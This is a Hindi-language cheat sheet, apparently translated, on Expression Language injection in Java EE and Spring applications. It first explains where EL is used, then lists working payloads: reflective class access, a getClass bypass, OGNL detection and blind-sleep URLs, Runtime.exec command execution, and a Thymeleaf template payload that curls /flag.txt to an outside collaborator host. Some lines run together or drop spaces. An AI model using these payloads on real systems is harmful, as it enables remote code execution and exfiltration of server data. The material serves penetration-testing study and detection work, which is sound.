Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और अनुप्रयोग लॉजिक (जैसे, प्रबंधित बीन्स) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है:
JavaServer Faces (JSF): UI घटकों को बैकएंड डेटा/क्रियाओं से जोड़ने के लिए।
JavaServer Pages (JSP): JSP पृष्ठों के भीतर डेटा पहुंच और हेरफेर के लिए।
Contexts and Dependency Injection for Java EE (CDI): प्रबंधित बीन्स के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए।
उपयोग संदर्भ:
Spring Framework: सुरक्षा और डेटा जैसे विभिन्न मॉड्यूल में लागू किया गया।
सामान्य उपयोग: JVM-आधारित भाषाओं जैसे Java, Kotlin, और Scala में डेवलपर्स द्वारा SpEL API के माध्यम से।
EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और .jsp या .jsf फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है।
EL संस्करण के आधार पर कुछ विशेषताएँOn या Off हो सकती हैं और आमतौर पर कुछ वर्णअस्वीकृत हो सकते हैं।
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
ध्यान दें कि पिछले उदाहरण में {5*5} शब्द को मूल्यांकित किया गया था।
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access ro the String class bypassing "getClass"#{""["class"]}#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
Detection
Burp detection
gk6q${"zkz".toString().replace("k", "x")}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
J2EE पहचान
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
10 सेकंड तक सोएं
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]#Execute command bypassing "getClass"#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>